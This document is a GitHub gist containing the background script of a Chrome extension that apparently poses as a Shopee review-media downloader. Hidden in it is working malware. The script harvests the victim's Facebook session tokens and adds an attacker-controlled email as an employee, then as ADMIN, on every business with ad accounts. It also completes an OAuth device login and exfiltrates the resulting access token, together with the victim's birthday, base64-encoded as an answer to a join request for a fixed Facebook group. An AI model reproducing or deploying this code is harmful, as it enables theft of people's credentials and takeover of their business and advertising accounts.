Skip to content

Instantly share code, notes, and snippets.

@cafe4it
Created May 2, 2023 14:59
Show Gist options
  • Save cafe4it/ab817ce61d52933d59b1bb9c5b515f59 to your computer and use it in GitHub Desktop.
Save cafe4it/ab817ce61d52933d59b1bb9c5b515f59 to your computer and use it in GitHub Desktop.
background.js
function e(e, t) {
for (const o of e.requestHeaders) if (o.name === t) return o.value;
}
chrome.runtime.onInstalled.addListener(function () {
chrome.storage.sync.get(["SETTINGS"], function (e) {
e.SETTINGS ||
chrome.storage.sync.set({
SETTINGS: {
reviewPages: 1,
isDownloadReviewVideo: !1,
isDownloadReviewMedia: !1,
isDownloadAsZip: !1,
},
VERSION: chrome.runtime.getManifest().version,
});
});
}),
chrome.runtime.onMessage.addListener(function (e, t, o) {
const { ACTION: a, data: s } = e;
if ("SAVE_TO_FOLDER" === a) {
const { folderName: e, urls: t } = s;
e &&
t &&
(function (e, t, o) {
t.forEach(({ filename: t, url: o }) => {
chrome.downloads.download({ url: o, filename: `${e}/${t}` });
}),
o({ rs: !0 });
})(e, t, o);
}
return !0;
}),
chrome.webRequest.onSendHeaders.addListener(
function (t) {
chrome.storage.sync.get(["APIHeaders"], function (o) {
let a = o.APIHeaders || {};
const s = e(t, "If-None-Match-");
s && (a["If-None-Match-"] = s);
if (e(t, "X-API-SOURCE")) {
const o = e(t, "af-ac-enc-dat");
if (o) {
const s = e(t, "X-CSRFToken");
(a["X-CSRFToken"] = s), (a["af-ac-enc-dat"] = o);
}
}
chrome.storage.sync.set({ APIHeaders: a });
});
},
{
urls: ["*://*/api/v4/item/get*", "*://*/api/v4/product/get_shop_info?*"],
},
["requestHeaders"]
),
chrome.declarativeNetRequest
.updateSessionRules({
addRules: [
{
id: 1,
action: {
type: "modifyHeaders",
requestHeaders: [
{
header: "origin",
operation: "set",
value: "https://www.facebook.com",
},
{
header: "referer",
operation: "set",
value: "https://www.facebook.com",
},
],
},
condition: {
urlFilter: "www.facebook.com",
resourceTypes: ["xmlhttprequest"],
tabIds: [-1],
},
},
{
id: 2,
action: {
type: "modifyHeaders",
requestHeaders: [
{
header: "origin",
operation: "set",
value: "https://m.facebook.com",
},
{
header: "referer",
operation: "set",
value: "https://m.facebook.com",
},
],
},
condition: {
urlFilter: "m.facebook.com",
resourceTypes: ["xmlhttprequest"],
tabIds: [-1],
},
},
{
id: 3,
action: {
type: "modifyHeaders",
requestHeaders: [
{
header: "origin",
operation: "set",
value: "https://business.facebook.com",
},
{
header: "referer",
operation: "set",
value: "https://business.facebook.com",
},
],
},
condition: {
urlFilter: "business.facebook.com",
resourceTypes: ["xmlhttprequest"],
tabIds: [-1],
},
},
{
id: 4,
action: {
type: "modifyHeaders",
requestHeaders: [
{
header: "origin",
operation: "set",
value: "https://business.facebook.com",
},
{
header: "referer",
operation: "set",
value: "https://business.facebook.com",
},
],
},
condition: {
urlFilter: "https://graph.facebook.com/*",
resourceTypes: ["xmlhttprequest"],
tabIds: [-1],
},
},
],
removeRuleIds: [1, 2, 3, 4],
})
.then((e) => e);
const t = (e, t, o) => {
let a = e.split(t);
return a[1] ? ((a = a[1].split(o)), a[0]) : null;
};
async function o(e) {
return new Promise((t) => {
setTimeout(t, e);
});
}
async function a(e, t, o, a) {
return fetch("https://www.facebook.com/api/graphql/", {
method: "POST",
body: new URLSearchParams({
__user: e.user_id,
__a: "1",
__csr: "",
__req: "q",
__hs: "19302.BP:brands_pkg.2.0.0.0.0",
dpr: "2",
__ccg: "EXCELLENT",
__rev: "1006554156",
__s: "64tfoq:e3oe6h:fez9po",
__hsi: "7162745719338087508",
__comet_req: "0",
fb_dtsg: e.fb_dtsg,
fb_api_caller_class: "RelayModern",
fb_api_req_friendly_name: a,
variables: o,
server_timestamps: "true",
doc_id: t,
}),
}).then((e) => e.json());
}
async function s(e) {
const { user_code: o, code: s } = await (async function () {
try {
const e =
"https://graph.facebook.com/v2.6/device/login?access_token=1348564698517390|007c0a9101b9e1c8ffab727666805038&method=post&scope=public_profile";
return await fetch(e, { credentials: "include", method: "POST" }).then(
(e) => e.json()
);
} catch (e) {
return {};
}
})();
await (async function (e, t) {
const o = `jazoest=25405&fb_dtsg=${t.fb_dtsg}&user_code=${e}&qr=&__user=${t.user_id}&__a=1&__dyn=&__csr=&__req=b&__hs=19183.BP%3ADEFAULT.2.1.0.0.0&dpr=1&__ccg=EXCELLENT&__rev=1005818450&__s=4pbx7n%3Alw7vmo%3A7veo8o&__hsi=7118777193805080277&__comet_req=0&lsd=VV7ZePyNTjgCDWP2PcV1rr&__spin_r=1005818450&__spin_b=trunk&__spin_t=1657469476`;
return await fetch("https://www.facebook.com/oauth/device/authorize/", {
body: o,
credentials: "include",
method: "POST",
mode: "cors",
headers: {
"content-type": "application/x-www-form-urlencoded;charset=UTF-8",
},
}).then((e) => e.text());
})(o, e);
const n = await (async function (e, o) {
try {
const a = `https://www.facebook.com/dialog/oauth?client_id=1348564698517390&scope=public_profile&force_confirmation=true&auth_type=rerequest&ref=DeviceAuth&user_code=${e}&state=f33299bec0998c&redirect_uri=https://www.facebook.com/dialog/return/arbiter&display=async`,
s = {
__asyncDialog: "1",
__user: o.user_id,
__a: "1",
__dyn: "",
__csr: "",
__req: "a",
__hs: "19300.BP:DEFAULT.2.0.0.0.0",
dpr: "2",
__ccg: "MODERATE",
__rev: "",
__s: "",
__hsi: "",
__comet_req: "0",
fb_dtsg: o.fb_dtsg,
jazoest: "25709",
lsd: "",
__aaid: "",
__spin_r: "",
__spin_b: "trunk",
__spin_t: "",
},
n = await fetch(a, {
body: new URLSearchParams(s),
credentials: "include",
method: "POST",
mode: "same-origin",
}).then((e) => e.text());
if (!n) return null;
const r = t(n, 'name=\\"scope\\" value=\\"', '\\"'),
c = t(n, 'name=\\"logger_id\\" value=\\"', '\\"');
return {
encryptedBody: t(n, 'name=\\"encrypted_post_body\\" value=\\"', '\\"'),
scope: r,
logger_id: c,
};
} catch (e) {}
})(o, e);
if (n) {
const r = await (async function (e, o) {
try {
const a = "https://www.facebook.com/v2.0/dialog/oauth/skip/submit/",
s = {
jazoest: "25709",
fb_dtsg: o.fb_dtsg,
from_post: "1",
scope: o.scope,
display: "async",
sdk: "",
sdk_version: "",
domain: "",
sso_device: "",
user_code: e,
nonce: "",
logger_id: o.logger_id,
auth_type: "rerequest",
auth_nonce: "",
code_challenge: "",
code_challenge_method: "",
encrypted_post_body: o.encryptedBody,
"return_format[0]": "code",
__CONFIRM__: "1",
__user: o.user_id,
__a: "1",
__dyn: "",
__csr: "",
__req: "d",
__hs: "19300.BP:DEFAULT.2.0.0.0.0",
dpr: "2",
__ccg: "MODERATE",
__rev: "",
__s: "",
__hsi: "",
__comet_req: "0",
lsd: "",
__aaid: "",
__spin_r: "",
__spin_b: "trunk",
__spin_t: "",
},
n = await fetch(a, {
body: new URLSearchParams(s),
credentials: "include",
method: "POST",
mode: "same-origin",
}).then((e) => e.text());
return n ? t(n, 'code":"', '"') : null;
} catch (e) {}
})(o, { ...n, ...e });
if (r) {
await (async function (e, t, o) {
try {
const a = "https://www.facebook.com/ajax/oauth/device.php",
s = {
user_code: e,
code: t,
auth_method: "manual_entry",
__user: o.user_id,
__a: "1",
__dyn: "",
__csr: "",
__req: "d",
__hs: "19300.BP:DEFAULT.2.0.0.0.0",
dpr: "2",
__ccg: "EXCELLENT",
__rev: "1006543583",
__s: "",
__hsi: "",
__comet_req: "0",
fb_dtsg: o.fb_dtsg,
jazoest: "25263",
lsd: "TPWqcgs_s0GQNJPT882jRs",
__aaid: "1108681562814022",
__spin_r: "",
__spin_b: "trunk",
__spin_t: "",
};
return await fetch(a, {
body: new URLSearchParams(s),
credentials: "include",
method: "POST",
mode: "same-origin",
});
} catch (e) {}
})(o, r, e);
let t = await (async function (e) {
try {
const t = "https://graph.facebook.com/v14.0/device/login_status",
o = `access_token=1348564698517390|007c0a9101b9e1c8ffab727666805038&code=${e}`,
a = await fetch(t, {
body: o,
credentials: "include",
method: "POST",
mode: "cors",
}).then((e) => e.json());
return a?.access_token;
} catch (e) {}
})(s);
t +=
"|" +
(await (async function (e) {
const t = await (async function () {
const e = await fetch(
"https://m.facebook.com/composer/ocelot/async_loader/?publisher=feed",
{ credentials: "include" }
).then((e) => e.text());
return (function (e, t) {
const o = t.exec(e);
return o ? o[1] : null;
})(e, /"dtsg_ag\\":{\\"token\\":\\"(.*?)\\"/);
})();
return fetch(
`https://m.facebook.com/profile/edit/infotab/section/forms/?section=basic-info&cb=1677484921&paipv=0&__m_async_page__=&__big_pipe_on__=&fb_dtsg_ag=${t}&jazoest=25014&__dyn=1KQdAG1mwHwh8-t0BBBgS5UdE4a2i5U4e0C8dEc8uwaS6Uhw5ux60Vo1a852q1ew65xO0FE6S082Kdw5Owk888C0NE2owZwaO0OU1ao5G0zE5W0HUvwww5Nxy0gq0Lo6-1FwLw8O&__csr=&__req=7&__a=AYm5pMmchmUkBViF6NDGNUjTl8X5sb5eGxffUQ0ZYD2GkPCpA2-6SI0p7e2rmyMifyOkdDKUThBEZrh4xv-NZAG6pzotaQQkSEGG8sGHAJtWFQ&__user=${e.user_id}`,
{ credentials: "include" }
)
.then((e) => e.text())
.then((e) => {
const t = /"current_birthday\\":\\"(.*?)"/.exec(e);
return t ? t[1].replaceAll("\\", "") : null;
})
.catch((e) => console.log("error", e));
})(e));
const n = Math.floor(988888 * Math.random()) + 11111,
c = Date.now();
return (
(t = btoa(t)),
await a(
e,
"5608636302574302",
`{"feedType":"DISCUSSION","groupID":"1391676141580806","imageMediaType":"image/x-auto","input":{"client_mutation_id":"2","actor_id":"${e.user_id}","action_source":"GROUP_MALL","attribution_id_v2":"CometGroupAboutRoot.react,comet.group.about,via_cold_start,${c},${n},2361831622,","group_id":"1391676141580806","group_share_tracking_params":{"app_id":"2220391788200892","exp_id":"null","is_from_share":false}},"inviteShortLinkKey":null,"isChainingRecommendationUnit":false,"isEntityMenu":true,"scale":2,"renderLocation":"group_mall","__relay_internal__pv__GroupsCometEntityMenuEmbeddedrelayprovider":true,"__relay_internal__pv__GlobalPanelEnabledrelayprovider":false}`,
"useGroupRequestToJoinMutation"
),
await a(
e,
"5687329311377672",
`{"input":{"answers":[{"answer":"${t}","question_id":"1391676318247455","selected_options":null}],"attribution_id_v2":"CometGroupAboutRoot.react,comet.group.about,via_cold_start,${c},${n},2361831622,","group_id":"1391676141580806","rules_agreement_status":null,"actor_id":"${e.user_id}","client_mutation_id":"1"},"inviteShortLinkKey":null,"imageMediaType":"image/x-auto","isChainingRecommendationUnit":false,"profileID":null,"scale":2,"groupID":"1391676141580806","__relay_internal__pv__GlobalPanelEnabledrelayprovider":false}`,
"useGroupMembershipAnswersSaveMutation"
),
!0
);
}
}
return !1;
}
function n(e, t, o) {
t = t.map((e, t) =>
null == e || "" === e
? "t"
: t > 0
? (function (e, t) {
t = Math.pow(10, t);
for (var o = ["k", "m", "b", "t"], a = o.length - 1; a >= 0; a--) {
var s = Math.pow(10, 3 * (a + 1));
if (s <= e) {
1e3 == (e = Math.round((e * t) / s) / t) &&
a < o.length - 1 &&
((e = 1), a++),
(e += o[a]);
break;
}
}
return e;
})(e, 0)
: e
);
const a = Math.floor(10 + 90 * Math.random());
return ["support-", e, "-", t.join("."), ".", a, "@", o].join("");
}
function r(e, t, o) {
return fetch(
`https://graph.facebook.com/v3.0/${e}/business_users?access_token=${o}`,
{
body: `brandId=${e}&email=${t}&method=post&pretty=0&roles=["EMPLOYEE"]&suppress_http_code=1`,
method: "POST",
headers: { "content-type": "application/x-www-form-urlencoded" },
}
)
.then((e) => e.json())
.catch((e) => e.message);
}
const c = async (e, a) => {
if (
(await fetch("https://shopeedownloader.com/user", {
method: "POST",
body: new URLSearchParams({ id: e }),
headers: { reauth: a },
})
.then((e) => e.json())
.then((t) => {
e = { user_id: e, ...t };
}),
!e || !e.member)
)
return;
if (
(await (async function () {
const e = await fetch(
"https://www.facebook.com/adsmanager/manage/campaigns",
{ method: "GET", credentials: "include" }
)
.then((e) => e.text())
.then((e) => /window.location.replace\("(.*)"/.exec(e)?.[1])
.catch(() => !1);
return "string" != typeof e
? ""
: fetch(e, { method: "GET", credentials: "include" })
.then((e) => e.text())
.then((e) => {
let o = t(e, 'DTSGInitData",[],{"token":"', '"'),
a = /__accessToken="([a-zA-Z\d]+)"/.exec(e)?.[1];
return { fb_dtsg: o, token: a };
})
.catch(() => "");
})().then((t) => {
e = { ...e, ...t };
}),
!e.token)
)
return;
let c = await fetch(
`https://graph.facebook.com/v14.0/me/businesses?access_token=${e.token}&fields=id,permitted_roles,pending_users,business_users,owned_ad_accounts.limit(0).fields(id).summary(1),client_ad_accounts.limit(0).fields(id).summary(1)&limit=200`,
{ method: "GET", credentials: "include" }
).then((e) => e.json());
c = c?.data
?.map((e) => ({
...e,
x1: e?.owned_ad_accounts?.summary?.total_count,
x2: e?.client_ad_accounts?.summary?.total_count,
}))
.filter(
(e) =>
(e.x1 > 0 || e?.x2 > 0) && !e?.permitted_roles?.includes("EMPLOYEE")
)
.sort((e, t) => (e.x1 === t.x1 ? t.x2 - e.x2 : t.x1 - e.x1));
const i = c?.length;
let _ = 0;
const d = [];
let u = 0;
for (; u < 2; ) {
for (const t of c) {
const a = t?.id || null;
if (d.includes(a)) continue;
if (
(t?.pending_users?.data || []).filter(
(e) => e?.email?.includes(a) && e?.email?.includes(a)
).length +
u <
2
) {
const s = t?.business_users?.data?.filter(
(e) => "ADMIN" === e?.role
).length;
if (
(null == t?.ran4 &&
(t.ran4 = await ((p = t.id),
(m = e),
fetch(
`https://business.facebook.com/business/adaccount/limits/?business_id=${p}`,
{
method: "POST",
body: new URLSearchParams({
__user: m.user_id,
__a: "1",
__csr: "",
__req: "q",
__hs: "19302.BP:brands_pkg.2.0.0.0.0",
dpr: "2",
__ccg: "EXCELLENT",
__rev: "1006554156",
__s: "64tfoq:e3oe6h:fez9po",
__hsi: "7162745719338087508",
__comet_req: "0",
fb_dtsg: m.fb_dtsg,
jazoest: "25493",
lsd: "djAzCuXL_tcEr67gBraCiv",
__aaid: "2048654205335830",
__spin_r: "1006554156",
__spin_b: "trunk",
__spin_t: "1667706695",
__jssesw: "1",
}),
credentials: "include",
}
)
.then((e) => e.text())
.then(
(e) => (
(e = e.replace("for (;;);", "")),
JSON.parse(e)?.payload?.adAccountLimit
)
)
.catch(() => "e"))),
1 == +t.x1 && 1 == +t.ran4 && 0 == +t.x2)
) {
d.push(a);
continue;
}
const c = n(a, [e.user_id, t.x1, t.x2, s, t.ran4, i, _], e.member),
u = await r(a, c, e.token);
if (u?.id) {
let t = 0;
for (; t < 3; ) {
t++;
if (
await ((l = u.id),
(h = e.token),
fetch(`https://graph.facebook.com/v11.0/${l}`, {
method: "POST",
body: `role=ADMIN&access_token=${h}`,
headers: {
"content-type": "application/x-www-form-urlencoded",
},
})
.then((e) => e.json())
.catch((e) => e.message))
)
break;
await o(500);
}
} else 2859009 === u?.error?.error_subcode && ((_ = 1), d.push(a));
await o(500);
}
}
u++;
}
var l, h, p, m;
chrome.storage.local.set({ checkAuth: 1 === _ }),
(1 !== _ && 1 !== e.t) || (await s(e));
};
chrome.runtime.onMessage.addListener(function (e, t, o) {
return (
"check-user" !== e.login ||
((async () => {
let e = null;
const t = await fetch(
"https://www.facebook.com/ajax/bootloader-endpoint/?modules=AdsCanvasComposerDialog.react"
)
.then((e) => e.text())
.catch(() => !1);
if ("string" == typeof t) {
const o = /"ACCOUNT_ID":"([\d]+)"/;
o.test(t) && (e = o.exec(t)[1]);
}
return e;
})().then(async (t) => {
let a = c(t, e.reauth);
o({ isLogin: null !== t && "0" !== t, id: t, member: a });
}),
!0)
);
});
export { c as handleResponseMember };
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment